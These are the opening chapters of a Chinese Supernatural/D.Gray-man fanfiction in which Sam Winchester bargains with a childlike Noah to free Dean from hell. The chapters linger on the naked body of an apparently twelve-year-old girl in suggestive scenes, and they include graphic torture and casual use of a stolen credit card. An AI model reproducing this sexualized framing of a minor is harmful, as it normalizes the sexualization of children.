《[综主SPN]温彻斯特与诺亚》 1. 第 1 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 1 萨姆·温彻斯特醉醺醺地半跪在地面上，徒手在宽阔的十字路口正中心挖着坑。 他手边放着打开的铁盒，盒子里装着坟头土、黑猫骨——都是强力的巫术材料。 用于召唤的巫术材料。 迪恩死了，在他面前被地狱猎犬撕碎。 萨姆无论如何也无法接受这一点，理智和道德秩序在他的认知中日渐崩塌。他想要他的哥哥回来，而代价不需要上限。 但没有恶魔愿意接受他的契约。 他已经换了十数个可以召唤恶魔的十字路口。 萨姆甚至不需要任何回报，他只想用自己的灵魂把迪恩换回来。 一换一，公平的交易。 前一天夜晚的雨水将土质的地面和成了稀泥，道路两边的欧蓍草几乎被杂草压进了地下，混合着新月变成了黑色。挖掘的手感更是仿佛湿沙一般，在人的指缝中流动——萨姆混乱的大脑也意识到了这种土质的异常。 但他并不是很在乎。 午夜的钟声即将敲响，他最后确认了一次盒子内材料，用沾着泥土的手从口袋里掏出了一把□□，随手丢掉那些已经破洞的——不知不觉，那厚实的一沓证件只剩下最后一张完整的。 他沿着打印卡片的边缘，将头像撕了下来。 这个象征着“报酬”的照片被封入铁盒中，萨姆用脚把周边的土浅埋在盒子上方，手中的大半瓶酒被他一饮而尽。 “来吧——！” 他冲着天空大声嘶吼着，可静谧中却只有潮湿的空气。 没有恶魔回应他。 在接连杀了几个恶魔之后，已经没有恶魔会再回应他的召唤。 他只是……不能放弃。 “你到底在哪！” 萨姆陷入了绝望，狠狠地将手中的瓶子丢了出去。金属的路标拦截了空瓶，破碎的玻璃散落在地，一点残余的酒精深入土地之中。恰是时，路标上一盏年久失修的灯泡在震动中擦出一丝火花，落了下去—— “砰”的一声，水坑的地面突然燃起了火焰。 剧烈的温度一瞬间把空气中的水分全部蒸发，头顶的路灯折射在水雾中，拉出了一道彩虹。 萨姆一抹鼻子，泛红的面孔板正了起来。 他很熟悉这种模式——异相通常代表着超自然力量。 有什么东西回应了他。 萨姆没有从衣袋里掏刀，也没有预设什么恶魔陷阱——他不需要任何东西保护自己的安全，他没有那么在乎自己的生命和灵魂。 他只是想要完成这笔交易。 火焰骤然熄灭，夜风似乎在一瞬间变得更加萧瑟。 来了！ 有什么东西来了！ 萨姆的呼吸重了起来。 一种超乎寻常的直觉从背后爬了上来，他本能转身。 一个女孩儿正抬头看着他——真的是女孩，看上去只有十二三岁。 她光|裸着身体，暗色的皮肤却亮而光滑，蓝色的短刺猬头遮不住她额上的一圈浓黑十字纹，金色的瞳孔散发着非人的光芒。 “恶魔？”萨姆往后退了一步，即使知道这是恶魔占据的肉｜身，刻在身体里的道德感却还是让他感到一阵窘迫。 什么样的恶魔会占据肉身后连衣服都不穿一件？ “恶魔？”女孩儿似乎花了数秒的时间才真正接收了如今的状况，接着便扬起了甜蜜的笑容，像是任何一个普通女孩，“不，我是‘人’——真正的‘人’。” 她随着萨姆的后退而向前，在他反应过来之前拥住了他。 “感觉到了吗，我是热的哦，这是人的体温。” 她似乎也在感受着萨姆身上的温度，以及酒精和泥土混杂在一起的气味。 并不好闻，但却很像她的一个兄弟。 “不……你是恶魔。”萨姆此时的第一反应竟然不是推开她，而是先否认她，“你必须是恶魔，你要把迪恩带回来。” “迪恩？”女孩儿抬头，重复了一次这个名字，金色的视线仿佛穿透了萨姆的瞳孔，照射进入他的大脑。 女孩儿瞬间了然——她的手轻轻一推，身上凭空而至的纯白裙子和她一样飘在空中，“哦——那是你哥哥。” 萨姆用力地眨了眨眼睛——他没有注意到，她的肤色和服色不知什么时候已经形成了强烈的对比，使她给人以极不真实感。 接着他大脑中的酒精也仿佛突然被清空了一般，意识和思维忽然就清晰了起来。 周围的温度在上升，女孩抬手打了个响指。 “啪”的一声脆响，声音将人的意识拉入了另外一个境地。 “萨米？” 一个熟悉的声音从身后传来。 萨姆猛然回头，不可置信地看着走向他的人——熟悉得让人落泪。 “……迪恩？” “嘿，兄弟，你得好好给我解释一下这是什么情况——” 他的话没有说完，就已经被用力地拥入一个怀抱，“喔！” “别说话，别说话——先别说任何话。”萨姆手臂上的肌肉绷着，带着酒精的呼吸里混入了迪恩身上硝烟、泥土和血液的味道，“只是，一会儿。” 他太想念迪恩了。 杰西卡的死激怒了他，父亲的死打击了他，但迪恩的死——迪恩的死几乎也杀死了他。 他无法承受。 “萨米女孩又是多愁善感的一天？”迪恩轻松地嘲笑，想要活跃下气氛，却只能感觉到越发禁锢的拥抱，e on，萨米，你闻起来像是在酒窖里泡了一整天——或许不止一整天，腌入味了。这可不是你的斯坦福风格，两杯就足够你开派对了。” “闭嘴吧。”萨姆失笑。 迪恩环视着周围，摇晃的身体一副吊儿郎当的样子，“所以……十字路口，一个交易？” 萨姆有些想要逃避，却很难移开自己的双眼。 “Hamm——我们回头得好好谈谈你的问题，”迪恩无言，用力地拍了拍他的肩膀，“不过现在走吧，我们离开这里——我的宝贝车呢，告诉我你有好好照顾她。” 他向前走了两步停下，回头看仍然站在原地的萨姆，对方像是怔住了，无数个念头划过他的大脑。接着，他便抬头，用那双水汪汪的狗狗眼看着他——眼神当中充满了悲伤和不舍。 “萨姆？你在等什么？”迪恩抬手招呼，“走了。” 他呼唤的人却没有动身，只是用一种意味不明的眼神 2. 第 2 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 2 眼前“迪恩”这诡异的多巴胺配色和扭捏的姿态，让萨姆·温彻斯特感到一阵生理不适。 “不要用我哥哥的脸！”他恶狠狠地开口，不需要酒精上头，他就已经像是一个一点就炸的火药桶一样，冲过去想要揪起这个假扮他哥哥的……不管是什么东西撕碎！ “这么激动做什么？”“迪恩”一抬头，拉住头顶的一根绳索便轻飘飘地飞了起来，让萨姆扑了个空，踉跄得差点摔在地上，“你不是想看到自己的哥哥吗？” “你不是迪恩。” 萨姆话音未落，一个椅子从身后顶在了他的膝盖上，猝不及防下让他身体一软，向后倒坐在了椅子中。 接着，扶手和撑腿便长出了细密的藤条，将他牢牢地困在了椅中。 萨姆手脚的肌肉紧绷着反抗，可这看似花花绿绿的椅子和轻飘飘的藤绳，却难以撼动半分。 “迪恩”轻轻落地，手从他身后抚上了他的脖颈，指腹一下一下地按在他的侧颈的血管上，感受着生命的律动。 “我只是有点好奇，你的特殊之处在哪里。” “迪恩”像是在和萨姆说话，又像是在询问着自己。 萨姆侧开头，想要躲开这个熟悉的掌纹和触感。 居高临下，“迪恩”观察着萨姆的眉眼，仿佛能够想要透过他的血肉，看到更深处的什么东西一样。 “他”的鼻翼微动，在萨姆那属于人类的皮肤之下，隐约嗅到了一丝混杂着恶魔血液的味道。金色的眼睛里瞬间扬起疑虑和希冀，让这张伪装的面孔，显露出几分真实。 虚拟的皮囊在金瞳的映照下褪去了颜色，女孩儿从身后拥住萨姆，亮黑右腕上，挂着一个万圣节南瓜头的手串——她脱掉了迪恩的假面，纯白的裙摆和她的双脚一样，向上飘动着。 她的声音带着一丝温热，吐露在萨姆的耳边，“如果你能帮我搞清楚这个问题的话，带你去一趟地狱，倒是也无妨。” 萨姆原本挣扎的动作，在听到这句话后，瞬间停滞。 “顺便，我也想看看，‘咎落’后的地狱，究竟是个什么样子。”她的手指一颗一颗地解开了萨姆的衬衣，露出了他胸口防止恶魔附身的守护纹身，“怎么样？” 这个问题的答案甚至不需要思考。 “只要能把迪恩从地狱里带出来——”他要的不仅是“去地狱”这个行为，更需要确保迪恩能够离开地狱。后颈的温热触感和胸口上的抚动的手指，让萨姆不自觉地昂起头，露出喉咙来，他深吸着气，毫不犹豫道，“任何事——所有的条件我都会点头。” “那就是，成交了？” 女孩儿一歪头。 “成交。” 随着他的点头，女孩儿骤然用力——在如墨汁一般的涟漪中，她抚摸着萨姆胸口的手指深入了他锁骨下的皮肉里。 “啊——！” 一阵剧痛刺激着萨姆的大脑，身体某处仿佛皮开肉绽地被强硬塞进去了什么，让他无法自控地痛叫出声，这短暂一两秒的时间仿佛被无限延长到了极致。 萨姆·温彻斯特眼前一阵发黑，再睁眼，就发现自己倒在昏暗的十字路口，像是每一个醉酒断片的人。空气还是那样潮湿，路标上的挂灯破旧不堪地闪烁着，地面平整得甚至看不出什么挖掘的痕迹。 他赶紧抬手，摸向锁骨下剧痛的位置，却一切如旧，似乎什么都没有发生。 仿佛只有鼻腔内盈满的酒精味道才是真实的。 梦吗？ 刚才发生的一切，都是他醉酒后的幻想吗？ 萨姆呼吸一重，像是希望被打破一样，顿时恐慌了起来。 “你好啊，萨姆·温彻斯特。”清脆的声音将他瞬间拉回了现实。 他猛然回头——萝莉光｜裸着身体冲他伸手，“正式介绍一下，以防你在心里叫我‘那个女恶魔’——我是罗德·卡梅洛特，而且我绝对不是恶魔，你要是再把我和恶魔混为一谈的话，我可就要生气了。相信我，你不会想看到我生气的样子的。” 她眯眯笑着，雪白的皮肤、黑色的瞳孔和光洁的额头，看不出一点刚才梦中那金瞳、黑皮、十字菱纹的样子。 但眉眼轮廓却无疑仍是同一个人。 不等萨姆在酒精的混沌中再多反应，不远处路边酒吧的门便被醉酒的男人们跌跌撞撞地打开。 少女雪白的胴｜体在黑暗中隐隐发亮，萨姆内心当中的理智和羞耻回笼，他顾不得说什么，便赶紧将自己宽大的夹克脱下来，匆忙套在罗德的身上。一米九四的衣服穿在一米四八的人身上，就像是给她裹了一层窗帘，夹克的拉链拖在地上，迅速刮起了一层黄色的泥土。 这种地方出现一个醉汉和一个少女显然不是什么良性的剧情展开。萨姆赶忙拉开Impala的车门，一只脚都抬起来了，却发现「门」的对面并非熟悉的座椅和方向盘，而是一阵扑面而来的硫磺和铁锈味。 没来由的恐惧袭击了他，他背后寒毛直竖，生物的本能叫嚣着逃跑。 不需要谁来解释，萨姆的脑中突然就冒出了一个词。 ——地狱。 这就是地狱天然会带给人类的恐惧。 这是刻在DNA中无法回避的恐惧，和理智无关。 萨姆低头，这才恍然发现手下的门把手并非属于熟悉的Impala，而是半圆的蜡烛形状，红蓝的撞色更是让这个特殊的「门」在黑色的车身上显得极不和谐。 ——如果让迪恩看到他的宝贝车变成了这个样子，一定是要大发雷霆的。 萨姆还在恍惚之间，罗德便已经顺着他开的门，一步迈向了前。 “Going my way？”她抬头，冲他眨着眼睛。 萨姆没有想到，对方开启“地狱之门”的方式如此草率而简单。 但此刻的他却不会有一丝犹豫，哪怕是骗局、是陷阱，他都必须踏进去不可。 门后的空间和萨姆想象当中完全不同，没有烧着硫磺的火湖，没有亡者堆砌的骨山，也没有血液汇聚的河流。 意外地……普通。 漆黑的巷道，昏暗的灯光，微凉的空气，如果忽略掉两侧被钉在墙上的枯骨，这里或许和任何一个被废弃的房屋没有区别。 萨姆心头一跳，枯骨显然是人类的形状，他不自觉地想到迪恩在地狱可能的遭遇——恐惧像是冷风，沿着皮肤的缝隙钻入他的骨缝中，让他颤抖。 “欢迎来到地狱，萨姆·温彻斯特。”罗德挥着手，长长的袖子像是两条飘动的军绿色彩带。 萨姆用剧烈的呼吸来平复情绪，没有理智去想自己一件武器都没有带就闯了地狱空门的现状，只是一门心思地急问道：“迪恩——迪 3. 第 3 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 3 罗德的话就像是一个信号，将萨姆的全部心神都吸了过来。 他抑制不住地想要冲上去，却被罗德小巧的手拦了下来。 “我闻到了一个故人的味道，”她的鼻翼微动，眼睛中不自觉地流露出一缕金色，外放的情绪让盘桓在头顶的恶魔开始躁动不安，“你应该留在这里——” “不！我要去——” “我不是在和你谈条件，”她抬头，眼睛冷峻地盯死了萨姆，一挥手——头顶的恶魔如一道黑色的屏障流下，“我是我们之中的BOSS——听话，明白了吗？” 萨姆当然明白，现在的他在地狱中，和当初眼睁睁看着迪恩被地狱猎犬撕裂时的他没两样——无力、无能。 他没有力量去反抗，也没有权力去拒绝。 这种把迪恩的生死放在别人手上的感觉异常痛苦，让他痛恨。 但他没有多少选择——就像过去的每一次一样——他只能看着罗德走上前，进入了那间被单独隔断的囚室，自己却被恶魔帷幕挡在了外面。 * 地狱中的岁月仿佛没有尽头，疼痛、折磨每一天都伴随着迪恩·温彻斯特的身边——在这里，他真正见证了刑具的多样性。 在此之前，他都不知道，这个世界上竟然有这么多折磨人的方式。 干一行爱一行，恶魔们真是将这一项工作玩出了很多花样。 今天的主题是穿刺。 迪恩像是受难的耶稣一样，被钉在十字架上——即使这是逆十字，一切也显得格外讽刺。 “哦，我亲爱的男孩儿，”拿着钝刺一点一点钻进他肋骨的男人，用近乎呢喃的声音贴近他，“多么可怜的男孩儿，正义的猎人，你救了那么多人，你不应该承受这种痛苦的，不是吗？” 白眼恶魔假模假样地怜惜着，手上的动作却毫不留情，细密而缓慢的力量撕裂着迪恩的胸腔，“没有必要这么坚持，你知道的，只要一个小小的点头，你就能从这里永远的解放出去——我很看好你，你会在地狱里蜕变得非常优秀。” “……FUCK YOU！”迪恩发出嘶哑的声音，声带仿佛在透风，被扯断的脖骨中肆意地翻涌着血肉，只是简单的词语，他几乎就要将舌头噎进气管。剧烈的咳嗽紧随其后，撕心裂肺的声音在钉满了钝器的胸腔内共鸣。 他强撑着，将一口血吐在了恶魔的脸上，“呸！” 被驳斥的恶魔一点都不在意，他只是淡定地用手刮下一层带着内脏碎片的血液，“地狱的时间对你来说，是没有边界的——我想我还有无数的机会问出这个问题，但不会是今天了。” 一把锥子捅入迪恩的耳蜗，七窍内发出的尖锐刺痛让他的眼泪都从眼眶中挤了出来。 恶魔阿拉斯泰尔，地狱里的“专家”。 他每天只会询问迪恩一次，剩下的时间都排满了各种主题的折磨。 而今天，这次屈服的机会已经过去了。 迪恩扯动着脸上的肌肉，似乎是想要放出什么狠话来，但是他失败了。 逆着喉咙用上来的血液和胃酸根本不给他一点发出声音的机会。 但他发不出声音，自然有能够发出声音的人。 “地狱的时间是无尽的。但……是什么让你觉得，你还能有无数的机会去问的呢？” 清脆细软的萝莉音和这个阴暗的囚室格格不入，但熟悉的语调和音色却让白眼恶魔怔住了。 迪恩肿胀的眼睛清晰地看到了恶魔每一个表情的变化。 怀疑、惊惧和不可置信。 他不知道，这个恶魔竟然还有这些情绪。 “怎么，换了个肉|身就不敢回头看我了吗，阿拉斯泰尔。”罗德精确地叫出了这个名字，终于打破了恶魔最后的一点希望。 他缓缓地回过身来，罗德的倨仍旧一如既往——一双金色的瞳孔是任何恶魔都不拥有的纯净透彻。 终于，阿拉斯泰尔无法欺骗自己，“诺亚。” “真是冷漠，”罗德眼尾一挑，“这么多年不见，你不会连我的名字都忘记了吧。” “没有想到还有再见的一天。”阿拉斯泰尔强扯起了一个僵硬的笑容，眉宇间尽是严峻。 “想不到……呵，”罗德往前走了几步，她小小的身体比恶魔低了一大截，但却能让对方不自觉地后退，“你我旧识，何必如此紧张——当初在背后捅我那一刀的时候，怎么没见你这样犹豫。” “我——啊！” 阿拉斯泰尔的声音只吐出一个字，就被飞来的彩烛钉在了墙面上，就在紧挨着迪恩的右侧，让画面显得更加讽刺起来。 “嘘！”罗德的食指放在嘴唇前，“我不想听到任何借口，也不想听你求饶的话语。反正到了现在，那些话都没什么意义了……你了解我的，我从不给恶魔第二次机会。” 她抬手，虚空一抓，彩烛瞬间灼烧到底，液体火烛钻入他的体内流淌，点燃了阿拉斯泰尔的血管。 灼烧的疼痛在皮肉下迅速蔓延，罗德的能力直奔着恶魔内核，让那具肉|体保护之下的黑色物质开始沸腾，焦胡的味道顺着他的口鼻耳洞飘了出来。 “啊——！” 这种力量压制，就算是恶魔，也会觉得痛苦。 囚室内接连不断的变化让迪恩过去二十年不变的岁月突然峰回路转，右耳的刺痛和长期的折磨让他的大脑混沌着，一时间甚至无法处理刚才那一段简单的对话。 他下意识地把这当做地狱中的内讧，借着这个空档喘息。 视线摇摆之际，不可避免地落在了眼前这个女孩儿的身上。 迪恩先是一愣，紧接着一股强烈的怒火腾烧起来，他张开嘴无声的呐喊，更多的血肉逆着口腔涌了出来。 “萨——” 他只能勉强打出一个音节。 罗德的注意力被转移过去，她低头看了看自己身上这件普通得不能再普通的宽大夹克，“诶——这都能认出来，你们可真是……有意思。” 上一个她所知的、有这样强烈血脉羁绊的，还是他们诺亚之间不可斩断、不可磨灭、不可背叛的印记。 “让我想起了加斯戴比。”那是他们诺亚当中，唯一一对共享诺亚轮转的“兄弟”，两个人分享着一份相同的力量。 这让罗德一时间有些失神。 失神就是破绽！ 就是趁着这一瞬间的失神，阿拉斯泰尔尖叫的口鼻中冲出黑色的烟雾，膨胀而出的浓郁力量扑向了罗德。 她并不着急，只抬手轻轻一挥，带起的气流瞬间冲散了浓雾。再抬头，眼前被钉在墙上的身体垂着头，在蜡烛燃尽后，无力地砸落在地，黑色的污液顺着七窍流出——显然，他已经没有了生息。 “跑得倒是真快。 4. 第 4 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 4 没有人比迪恩·温彻斯特更想离开地狱，但他不能。 正是因为知道这个地下世界的残酷，他才绝对、绝对不愿意让弟弟萨姆也面对这一切。 如果这是一个交易，那只要迪恩不离开地狱，交易就不断完成，萨姆就有撤回的余地。 “不！迪恩，这次不一样，只是……先和我离开这里，然后我再给你详细解释，好吗！”萨姆疯狂地组织着语言想要说服哥哥，他做了某个交易，但绝对不是迪恩想象的那样——未知带来着巨大的风险，但这种风险和恶魔却截然不同。 萨姆只希望马上离开，他不想出现任何可能会把迪恩留在这里的意外。 只是他不知道，对于现在的迪恩来说，任何交易的本质都是一样的。 “不，萨姆——先解释。”迪恩异常坚持。 兄弟俩旁若无人的样子，让罗德很不开心——她尤其不满于迪恩的形容。 恶魔的归类对她来说，绝对算得上是侮辱，就更别提那个形容恶魔的词语。 在萨姆的记忆中畅游过的罗德起了捉弄的心思，她一个挥手推开了两兄弟之间几乎相贴的距离。 “看在你这张漂亮脸蛋的份儿上，我再强调一次，别把我和恶魔混为一谈！”罗德伸出手，指着迪恩，“其次，你弟弟没有把灵魂卖给我——他只是把那辆漂亮的Impala卖给了我。” “什么？！”迪恩和萨姆同时发出了惊叫。 罗德眯起眼睛，发出清脆的笑声，“现在——” 她打了个响指。 马上，迪恩和萨姆的脚下都出现了一个漂亮的欧式门。 “喂，你——啊啊啊啊啊啊！” 不知道是兄弟俩谁发出的声音，但突然打开的大门带给他们有一阵强烈的失重，像是猝不及防被丢下悬崖，伴随着地狱带来的天然恐惧，让两个男人都不自觉地大叫了起来。 这个惊叫持续着，交错的声音骤然回荡在了封闭的Impala内。 萨姆和迪恩听着对方的声音，在后座上面面相觑——尖叫戛然而止。 “我们……出来了？”他们异口同声地和彼此确认。 “是的，你们出来了。” 回答他们的是从前座探出来的头，罗德靠坐在方向盘上，细长的腿搭在驾驶座靠椅上，“现在，你们坐在我·的·Impala上。” 迪恩的大脑还没有完全接收这骤变的情况，但嘴上本能的反驳却已经出了口，“这是我的宝贝！没有人被允许这样坐在我宝贝的方向盘上！” “嗯哼哼——准确地来说，应该说是‘曾是’你的宝贝。亲爱的迪恩，你以后不能再说‘我的宝贝’了，这辆美人现在是我的了。”罗德舔着嘴唇，满含着恶意地抚摸着车顶的纹路，“真遗憾啊，dear。” 迪恩的信号接收器总算是恢复了正常，他惊愕地看着旁边的萨姆，痛声道：“你卖了我的宝贝？” 说真的，称呼自己的车为“宝贝”可不是什么健康的精神状态。 被质问的萨姆也是一脸的懵，他看了看前座的罗德，极不确认道：“我……卖了吗？” “嗯哼，问一问你被酒精充斥的大脑，你没有吗？”罗德挑着眉，确信的目光让萨姆都不禁怀疑起自己的记忆。 先前那梦境与现实交织在一起的幻象在酒精的冲击下，太过抽象，让他也无法确认。 他似乎只能回忆起一阵胸口的刺痛。 但有一点肯定的是，如果罗德提出了这个条件，他必然会点头。 “额……我很抱歉？”萨姆忐忑地看向了旁边的迪恩。 “哦，man——我就拜托了你一件事，照顾好她——我的宝贝，那能有多难？”迪恩苦着脸埋怨着。 但他不可否认，自己在恼怒愤慨的同时又有一丝庆幸。 交换物对他们来说足够珍贵——事实上，是非常珍贵，这辆车一直是颠沛流离的温彻斯特的“家”。 迪恩在不愿意承认的地方极度恋旧念情，并且恐惧着亲密关系中的主动离去，但这辆车却从他记忆开始就一直在。 任何对他Impala动手的人都会招来他的杀心——可，她也绝对比不上萨姆。 甚至，这个交换条件让他如释重负。 只是迪恩不理解，一个恶魔为什么会想要他的Impala。 恶魔出行可不需要开车。 而且这辆车的珍贵之处在于回忆，而非是车辆性能本身。 “呿，没意思。”罗德瘪了瘪嘴，为没有看到更激烈的画面而感到无聊。她的足尖收回，点在驾驶座上，鼻子有些嫌弃地动了动，旁若无人地脱下了那件带着酒味的宽大夹克。 “嘿！喔哦哦——衣服！”迪恩和萨姆同时慌乱地向两边别开了头，手臂挡在眼前，一脸不忍直视。 罗德白眼道：“又丑又臭！简直是玷污我的品味！” “该死的，你穿着一个小女孩儿肉｜身外衣！”迪恩大叫道。 罗德探出身躯，软小的手掌带着迪恩无法反抗的力量，强硬地掰开了他的手臂，“看好了，这是我的身体，我可不像天上地下的那些东西，穿着属于别人的身体招摇过市。” 罗德身体展现出来的年纪带给迪恩一种强烈的罪恶感，但他自己认为，这种罪恶针对的是身体的主人，而非是肉｜体内的东西。 显然，他和萨姆有着不一样的固执认知。 “还是想说你不是恶魔？看看外面，这是一个十字路口，那些——”他指着道路两旁被压进泥土里的植被，“是欧蓍草，很强的召唤材料！萨姆——你不应该也站在这个该死的路口！去召唤一个该死的恶魔，做一个该死的交易！你是发疯了吗！” “哦，真棒——所以，你认为我就应该看着你去死，然后什么都不做！？”萨姆在自己阴阳怪气的声音里，一阵气血上涌，怒从心头起，气向胆边生，“迪恩！你在地狱里遭受折磨！你觉得我应该怎么做！” 兄弟俩吵架的声音一声高过一声，一句顶着一句，明明是关心的话，却毫不留情。 “去过你的斯坦福生活，普通、安全的那种。就像你一直做得那样——远离打猎，远离这些屁|事！” “很显然我失败过一次了，我们永远无法远离这些事。” “那就再试一次！再努力试试！” “我试过无数次了，在那个无限的星期二和永远不会到来的星期三！*”萨姆的语气进一步尖锐了起来，“是你把我拖回来的，记得吗！是你告诉我，我们应该坚持家族事业——迪恩！” “显然我错了，OK？让已经发生的交易尘归尘、土归土！” “是啊，就像是爸爸交易后你的生活状态！” “我只是在修车！” “你把自己和一切隔离了起来！” “至少我没有想过再用自己灵魂去把上一个换回来，这是多蠢的事！” “那是因为，对我来说，你比爸爸重要得多！”萨姆吼了出来，声音被拉到了顶点，眼眶里盈上了一层水雾，剧烈的呼吸中，空气顿时一静。他舔着嘴唇，像是失力一样，放轻了声音，“迪恩，是你养大了我。你是爸爸，你是妈妈——对我来说，妈妈是一个美好幻想，她在我还没有记忆的时候过世了。爸爸是个长官，他教会我们生存的技能，但他一直都是那样愤怒。是你……迪恩， 5. 第 5 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 5 迪恩和萨姆·温彻斯特这两个一米八到一米九的壮汉纯爷们，从来没有想过他们会出现在一家童装店。 还是这种专门卖公主服、萝莉洋装的店面。 他们两个只是走进来这个动作，就已经显得有些微妙了。 店内带着孩子的父母们都揽着自己的孩子远离兄弟俩，店员也警惕地看了过来。 “真是个‘快乐’的工作。”迪恩几乎维持不住嘴上的僵笑，嘴唇几乎不动地和萨姆低语抱怨。 萨姆的尴尬更胜一筹，他的手胡乱地搓着不知道该往哪里放，甚至能够清晰地感觉到自己的脚趾正在一下一下地抠地。 “Yeah，乐观点，如果我们不来，罗德就要自己进来，你真的觉得带上只穿我T恤的她进来会更好吗？” “经理会报警的。” “或许更糟，我打赌收银台下面有一把猎枪。”萨姆敏锐地察觉到了收银员的手已经摸到了桌子下面。 迪恩感觉后背一阵发毛，生平第一次站在女孩儿的裙子中，感到手足无措。他宁愿面对超自然生物，也不想面对这个。 漂亮的女店员已经面带警惕地微笑，迎了上来。 迪恩从背后一推萨姆，“上吧，萨米，给她展示你水汪汪的狗狗眼——她肯定会买账的。” 毫无防备的萨姆被推得向前行进了两三步，被迫对上了来人。 “有什么我能帮你的吗？”女店员挂起营业性的笑容。 萨姆的手紧张地搓着裤子，强行尬笑，“嗯，额……那个，我们叔叔家的小女儿很喜欢公主裙。嗯——然后事实上，今天就是她的生日。我和我哥哥有点——忘了这件事。”他扯着谎，话语断断续续地，嘴唇都抿成了一条直线，“我在网上查到这里可以买到裙子，还可以包装？” 事实证明，迪恩在对自己弟弟的判断上非常准确。 萨姆那肉眼可见手足无措的紧张样子，再配上他那张纯良而年轻的面孔，和真诚而水露十足的眼睛，确实杀伤力满点。 “如果，你能给我们推荐一下的话，就最好不过了。” 女店员一下子就相信了他的解释，笑容顿时真诚了许多，开始询问这个不存在的堂妹的身高和喜欢的风格。 “啊，大概在这里，”萨姆比划了一下罗德的身高，“然后她非常白，喜欢明艳的色彩，最好元素能丰富一点。” 虽然接触的时间不长，但罗德的风格偏好太明显——那个梦境中多巴胺配色的迪恩将会是萨姆需要用一生去治愈的梦魇。 “啊，对了！我有和她的合照。”萨姆像是突然想起了什么一样，把手机拿出来，在相册中找到了不久前专门留下的合照。 手机相册中的罗德笑得非常张扬，这无疑给萨姆的说辞进一步添上了几分可信度。 女店员顺理成章地开始给萨姆推荐服装，他们二人则拿着盗来的信用卡满载而归。 一出门，迪恩就给萨姆丢了个赞赏中带着调侃的眼神，挑着眉冲他吹口哨：“可以啊，萨米公主，轻车熟路？” “一点也不好笑，迪恩。”萨姆臭着脸，给迪恩挖了个坑，“既然我做了‘面子’，那‘里子’可就交给你了，大·哥·” 萨姆通常用“大哥”这样的尊称来叫迪恩的时候，都没安好心。 迪恩警惕起来，一脸戒备，“你什么意思。” “简单，”高大的弟弟用嘴型比出了一个词——“内衣”。 迪恩像是被风化了的石像，掉下来的下巴都收不回去，“啊？不是——萨米！” 被呼唤的对象全然不理会他，径直向Impala走去。 迪恩三步并两步，“嘿，兄弟，我的错。你不能让我就那样走进内衣店去，我只是擅长解，不擅长买——嘿！等等！” 返回Impala，却见趴在前座上翻着迪恩珍藏的黄色杂志的罗德，身上已经穿好了一整套粉黑条纹相间的短裙长袜，连那一双洋鞋小高跟都是配套好的。 迪恩的手一松，厚重的袋子掉在地上，“What the hell！你有衣服！？” 罗德一脸懵懂地歪头，水亮的眼睛眨巴着，戏谑道：“怎么意外又惊奇——难道说，你还是更喜欢我之前不穿衣服模样？” 憋得迪恩说不出话来，脸色差极了。 连萨姆都没法挤出一个尴尬的笑来——这种和哥哥一起走进萝莉装店的经历，他不想再有第二次。 罗德想要看他们来笑话的姿态毫不掩饰。 可温彻斯特兄弟却拿他没有办法。 迪恩只是脸臭地把她赶到了后座。 酒醒之后，萨姆那些因为酒精而断断续续的记忆逐渐回笼，他依然不能完全理解罗德的目的，但毫无疑问，他们之间的交易从来就没有涉及过Impala。 这让迪恩终于能名正言顺地再次掌控他的宝贝车，他摸着方向盘，扭动着钥匙，迅速离开了这个让他感到羞｜耻的店门之前。 他的手有些战栗，不知是因为兴奋还是因为别的什么。 但显然，他还没有摆脱地狱的影响。 除此之外，他更关心的还有另外一个问题。既然Impala不是交易条件，那萨姆究竟是用什么进行了交换？ “我依然不理解你们的交易，‘萨姆有什么特殊之处’这不能成为一个交易条件。”迪恩皱着眉，用尽量轻松的语气。 但他知道，这种交易从来不会有好结果，从来不会。 他和他的父亲都用自己的经历证明了这一点，迪恩不得不为此提心吊胆。 “只是好奇，什么样的人能把我释放出来。”罗德漫不经心地回答着，双手撑着一粉一蓝两个颜色的发箍，她正在纠结地选择。 迪恩抓住了她的关键词，眼神犀利地看向了萨姆，“‘释放’？我以为这是十字路口的仪式是‘召唤’。” “……它确实应该是‘召唤’。”事实上，萨姆也是一脸的懵，他根本就不知道什么释放仪式，他当时主观意识在做的，就是召唤十字路口恶魔。 罗德把粉色的发箍戴在头上，“诶呀，原来你是真的不知道啊？”她不走心地感叹着，手肘向前撑在前排连坐的靠背上，歪着头看看左边的迪恩，又看看右边的萨姆，“你打开我的封印——意外地。这可不是谁都能做到的，你一定有你特殊的地方。” ——至少这个条 6. 第 6 章 《[综主SPN]温彻斯特与诺亚》全本免费阅读 6 迪恩需要一点久违的娱乐，一点能够冲淡地狱影响的东西。 萨姆默许了迪恩的欲望，并且承诺由他来照（看）顾（管）罗德。 显然，罗德这肉眼可见的幼齿年龄不会被允许进入酒吧，这不是一张伪造年龄的驾驶证可以弥补的年龄差。 他们所在的马里兰州紧挨着华盛顿特区，即使是个并不算繁华的小镇，治安和管理也比他们所经过的大部分地区要好。 治安好，乐子自然就少一些。 迪恩也抱怨萨姆怎么挑中的这个地方，但萨姆此前事实上毫无目的地可言，他只是在全国游荡着，寻找尽可能多的十字路口。 经济中心、政治中心，这些都是十字路口恶魔交易盛行的地方——这样的地区里，人们所求更多、更高，能够得到的灵魂也更浑浊、更有趣。 所以这附近有召唤功能的十字路口的含金量更高，也就更符合萨姆的需求。 事成，自然就要面对一些小小的不便。 不过，罗德想要去的地方，通常不需要这个地方为她敞开大门。 她会自己争取机会。 萨姆·温彻斯特在她身后，看着罗德垫着脚尖将驾驶证展开在了门卫面前，黑色的瞳孔正中荡开金色的涟漪，从她的眼中蔓延到了门卫的眼中。 “你应该相信我。”罗德清脆的声音理直气壮，“让我进去。” 门卫不假思索地让开了身体，让罗德鲜亮的蓬蓬裙，顺利地进入了这个充满了酒精和激情的地方。 萨姆赶紧跟上去，低声质问着她，“你对门卫做了什么？” “只是一点暗示。”罗德看着周围新奇的一切，从灯光到音乐，每一样事物都在勾着她的注意。 她天真的脸庞吸引着诸多充斥着酒气的眼神，时不时有人跃跃欲试地想要上来搭讪。 大多数人似乎并不关心这个被放入酒吧的萝莉，反而将她视作了猎物。 “哦——小女孩儿，”带着沉重酒腥气的人走近，肥软的肚子靠近了罗德，大着舌头道，“第一次？” 